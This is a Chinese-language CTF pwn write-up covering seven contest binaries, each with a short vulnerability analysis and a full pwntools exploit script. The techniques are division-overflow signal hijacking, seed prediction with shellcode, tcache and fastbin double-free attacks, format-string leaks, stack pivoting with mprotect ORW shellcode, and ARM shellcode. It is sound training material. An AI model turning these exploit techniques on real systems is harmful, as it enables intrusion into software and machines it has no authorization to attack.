div_overflow

分析

没开canary和PIE

init()函数发现有一个signal绑定,

百度C 库函数 – signal() | 菜鸟教程 (runoob.com)

查看glibc源码可以发现,这个是将除零溢出错误信号绑定到backdoor函数上了(就是说触发这个信号,不会报错会直接跳转到对应函数运行)

backdoor函数发现栈溢出漏洞

SIGFPE信号的触发

main函数过程中有一个除法运算,但需要v4不为0才能进入,那么就不能构造1/0的形式

由于计算机采用的是补码的表示方法,32位机器位可以表示的有符号整数范围为-2147483648~2,147,483,647

发现构造-2147483648/-1=2147483648,会发生除法溢出,从而进入backdoor

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

io = process('./div_overflow')
# io = remote('35.229.138.83',14056)

io.sendline('-2147483648')
io.sendline('-1')

shell = 0x0004007C8

io.recvuntil('Hero, please leave your name :')
p = 'a' * 0x58 + p64(shell)
io.sendline(p)

io.interactive()

guess

没有开NX,存在shellcode执行

main函数调用game(),game()是主要逻辑,大概意思就是需要预测随机数,首先会使用时间播种

然后随机生成16个字符,并存入s中

最后需要我们输入16字符和s进行校验,校验成功就可以进入good()函数

IDA分析good()函数的时候报错,只能看汇编了

一通分析下来good函数就是shellcode后门,这样思路就很明确了,只需要预测随机数+shellcode

预测随机数

从Tover那里学来的方法,在本地写一个C程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

int main() {
int seed;
setbuf(stdin ,0);
setbuf(stdout, 0);
while (1)
{
printf("seed>");
scanf("%d", &seed);
srand(seed);
printf("ans>");
for(int i = 0; i < 16; ++i) {
printf("%d ", rand() % 255);
}
printf("\n");
}
}

然后在服务器运行的同时运行此程序,这样就可以设置相同的seed,自然随机出来的数据就是相同的

shelldoe

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level='debug'
rd = process('./rd')
# io = process('./guess')
io = remote('35.229.138.83', 16134)

def randchar(seed):
rd.recvuntil('seed>')
rd.sendline(str(seed))
rd.recvuntil('ans>')
arr = rd.recvuntil(' \n', drop=True).split(' ')
arr = list(map(int, arr))
arr = ''.join(map(chr, arr))
return arr

# print randchar(123456)
io.sendlineafter('May I have your name : ', 'asdfg')
io.recvuntil('Branch hat : Now I tell you the essence of this spell is ')
inp = int(io.recvuntil('\n', drop=True))
print inp
p = randchar(inp)
io.sendafter('Please enter the spell you understand : ', p)

p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
io.recvuntil('loud')
io.sendline(p)

io.interactive()

H.E.A.P

堆题,libc版本2.27存在tcache bin

发现漏洞,free之后没有将指针清空,利用之后可以任意地址写

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.log_level='debug'
io = remote('35.229.138.83', 11009)
# io = process(['./ld-2.27.so', './chall'], env={'LD_PRELOAD':'./libc-2.27.so'})
libc = ELF('./libc-2.27.so')

def add(idx, size):
io.sendlineafter('Your choice >> ', '1')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Size: ', str(size))

def free(idx):
io.sendlineafter('Your choice >> ', '2')
io.sendlineafter('Index: ', str(idx))

def show(idx):
io.sendlineafter('Your choice >> ', '3')
io.sendlineafter('Index: ', str(idx))

def edit(idx, content):
io.sendlineafter('Your choice >> ', '4')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Content: ', content)

main_arena = 0x000003EBC40
for i in range(8):
add(i, 0x90)
add(8, 0x90)

for i in range(8):
free(7-i)


show(0) # 泄露main_arana地址
io.recvuntil('Content: ')
inp = u64(io.recvuntil('\n', drop=True).ljust(8,'\0'))
libc_base = inp-96-main_arena
print hex(libc_base)

ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadget
edit(1, p64(libc_base + libc.sym['__free_hook'])) # 修改fd指针为__free_hook地址
add(10, 0x90)
add(11, 0x90) # 11号堆块在__free_hook位置
edit(11, p64(ogg[1]+libc_base)) # 在__free_hook位置写入one gadget
# gdb.attach(io)
# add(12, 0x90)
free(0) # 除法free函数,执行ogg

io.interactive()

具体利用方法见CTF pwn题堆入门 — Tcache bin_lifanxin的博客-CSDN博客

BasicMath

又有随机数,但这一次需要预测,直接利用python eval()计算结果就行,注意到有16个问题,当i==15是,会进入last_problem函数

貌似没有什么问题

再仔细观察就会发现,readint返回的是64位有符号整型数

但进行校验的时候,取得是v5得高32位字节判断,所以只需要最后一次输入的数比较大就行

然后就是进入gift函数

发现有leak和溢出漏洞

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.log_level='debug'
io = remote('35.229.138.83',10874)
# io = process(['./ld-2.27.so','./chall'], env={"LD_PRELOAD": './libc-2.27.so'})
libc = ELF('./libc-2.27.so')

for i in range(15):
io.recvuntil(']')
inp = io.recvuntil(' = ?', drop=True)
ans = eval(inp)
io.sendline(str(ans))

io.recvuntil(' = ?')
io.sendline('11111111111111')
ogg = [0x4f3d5,0x4f432,0x10a41c]

# gdb.attach(io)
print io.recv(8)
canary = u64(io.recv(8).ljust(8, '\0')) # 泄露canary
stack = u64(io.recv(8).ljust(8, '\0')) # 泄露栈地址
func_base = u64(io.recv(8).ljust(8, '\0')) - 0x000000000000168A # 泄露函数加载地址
io.recv(8 * 5)
libc_base = u64(io.recv(8).ljust(8, '\0')) - 231 - libc.sym['__libc_start_main'] # 泄露libc基址
print hex(canary)
print hex(func_base)
print hex(libc_base)
pop_rdi = 0x00000001713 + func_base
libc.address = libc_base

p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym['system']) + p64(0xdeadbeaf) + '/bin/sh\0'
io.send(p)

io.interactive()

easyheap

又是堆题,libc版本2.23没有tcache

似曾相识的tea,这个题目构造貌似在那里见过?(难道是那个某省的第一届攻防大赛?)

tea解密

本地写一个c10udlnk教我的tea解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdint.h>
void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) {
uint32_t v0=v[0], v1=v[1], sum=delta*32, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0;
v[1]=v1;
}

int main()
{
uint32_t c[2] = {0};
uint32_t k[4];
uint32_t del;
memcpy((char*)k, "ggslggyzgghysdyy", sizeof(k));

scanf("%x %x %u", &c[0], &c[1], &del);
decrypt(c, k, del);
printf("%x %x\n", c[0], c[1]);
return 0;
}

double free

free函数

清零过程

会发现第15个块,会被free但不会清零

之后就是fastbin的double free攻击

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level = 'debug'

def tea(c1, c2, de):
c1 = hex(c1)
c2 = hex(c2)
teaio = process('./tea')
teaio.sendline(c1 + ' ' + c2 + ' ' + str(de))
r = teaio.recvuntil('\n', drop=True).split(' ')
return int(r[0], 16), int(r[1], 16)

io = remote('35.229.138.83',11967)
# io = process(['./ld-2.23.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})
libc = ELF('./libc.so')

io.recvuntil('Your secret key: ')
d = int(io.recvuntil('\n', drop=True))
io.recvuntil('My gift: ')
s = io.recvuntil('\n').split(',')
cc0, cc1 = int(s[0], 16), int(s[1], 16)
p0, p1 = tea(cc0, cc1, d)
io.recvuntil('Your gift: ')
io.sendline(str(p0) + ',' + str(p1))

def add(idx, size, content):
io.sendlineafter('choice >>', '1')
io.sendlineafter('id: ', str(idx))
io.sendlineafter('size: ', str(size))
io.sendlineafter('content: ', content)

def free():
io.sendlineafter('choice >>', '2')

def show():
io.sendlineafter('choice >>', '1638')
io.recvuntil('Your gift: ')
return int(io.recvuntil('\n', drop=True), 16)

ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
libc.address = show() - libc.sym['puts']
print hex(libc.address)

add(15, 0x60, 'aaa')
free()
add(13, 0x60, 'aaa') # 13位置地址 == 15位置地址
add(14, 0x60, 'aaa') # 中间有一个绕过double free检查
free()
add(0, 0x60, p64(libc.sym['__malloc_hook']-0x23))
add(1, 0x60, 'aaaa')
add(2, 0x60, 'aaaa')
add(3, 0x68, '\0'*19 + p64(libc.address + ogg[3]))
# gdb.attach(io)
io.sendlineafter('choice >>', '1')
io.sendlineafter('id: ', '4')
io.sendlineafter('size: ', '20')
# free()

io.interactive()

fastbin double free利用方法见CTF pwn题堆入门 — Fast bin_lifanxin的博客-CSDN博客

gift

发现沙盒使用seccomp-tools,查看发现execve函数被禁用了,也就是说不能调用system、shellcode getshell这些getshell,解决方法orw(open、read、write),原理就是open打开本地文件,read读取进入内存,write打印到屏幕

gift函数发现有一个格式化字符串漏洞,可以泄露栈地址、libc地址和函数加载地址

main函数发现有一个栈溢出的漏洞,但只能覆盖返回地址,不能直接构造ROP,但发现name在bss段,可以先在name函数中布置rop,然后利用两次leave;retn劫持rsp,实现栈迁移到bss,执行在name中构造的rop

ROP

rop思路首先需要实现orw,需要编写shellcode

1
2
3
sc = asm(shellcraft.open('./flag'))
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))

然后需要调用libc中的mprotect函数,将bss段权限改为可读可写可执行,最后跳转到shellcode上

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.log_level='debug'

context(arch='amd64')
io = remote('35.229.138.83', 13789)
# io = process(['./ld-2.27.so','./gift'], env={"LD_PRELOAD": './libc-2.27.so'})
libc = ELF('./libc-2.27.so')
elf = ELF('./gift')
name = 0x0000000202060

# gdb.attach(io)
io.recvuntil('this the gift for you.\n')
io.send('%9$p-%19$p-%11$p')

io.recvuntil('0x')
canary = int(io.recvuntil('-', drop=True), 16)


start_main = int(io.recvuntil('-', drop=True), 16)
libc_base = start_main - 231 - libc.sym['__libc_start_main']
print hex(libc_base)
libc.address = libc_base

inp = int(io.recv(14), 16)
print hex(inp)
elf.address = inp - 0x000000B78 - 43
print hex(elf.address)

pop_rdi = elf.address + 0x000000000000C73
pop_rsi = libc_base + 0x0000000000023eea
pop_rdx = libc_base + 0x0000000000001b96
print hex(pop_rdi)
print hex(pop_rsi)
print hex(pop_rdx)
print hex(libc.sym['system'])

sc = asm(shellcraft.open('./flag')) # open("./flag")
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)
print len(sc)
print sc
print libc.sym['mprotect']

p = sc
p += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) & 0xffffffffff000) + p64(libc.sym['mprotect']) + p64(elf.address + name)
print len(p)
io.sendlineafter('please input your name:\n', p)

# gdb.attach(io)
p = 'a' * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)
io.recvuntil('what do you want to say?\n')
io.send(p)


io.interactive()
# flag{gO

babystack

异构pwn耶!

保护全关

发现有一个格式化字符串漏洞,可以泄露栈地址

查阅一番资料,并看汇编发现,arm架构下PC也会存放在栈上,动态调试一番就可以算到偏移量

然后再v6中编写shellcode,并跳转执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# io = process(['qemu-arm','-g','1234','./pwn'])
# io = process(['qemu-arm','./pwn'])
io = remote('35.229.138.83', 10008)

# gdb.attach(io)
io.recvuntil('I am a repeater without any emotion.\n')
io.send('%1$p')
stack = int(io.recvuntil('Do you have any questions?', drop=True), 16)
print hex(stack)

context(arch='arm')
p = 'a' * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())
io.sendline(p)

io.interactive()

by Csome

!!!暨南大学xp0int杯wp收集截止前禁止发送给暨南大学的同学,产生的后果由转发者承担!!!

本文采用CC-BY-SA-3.0协议,转载请注明出处
作者: Csome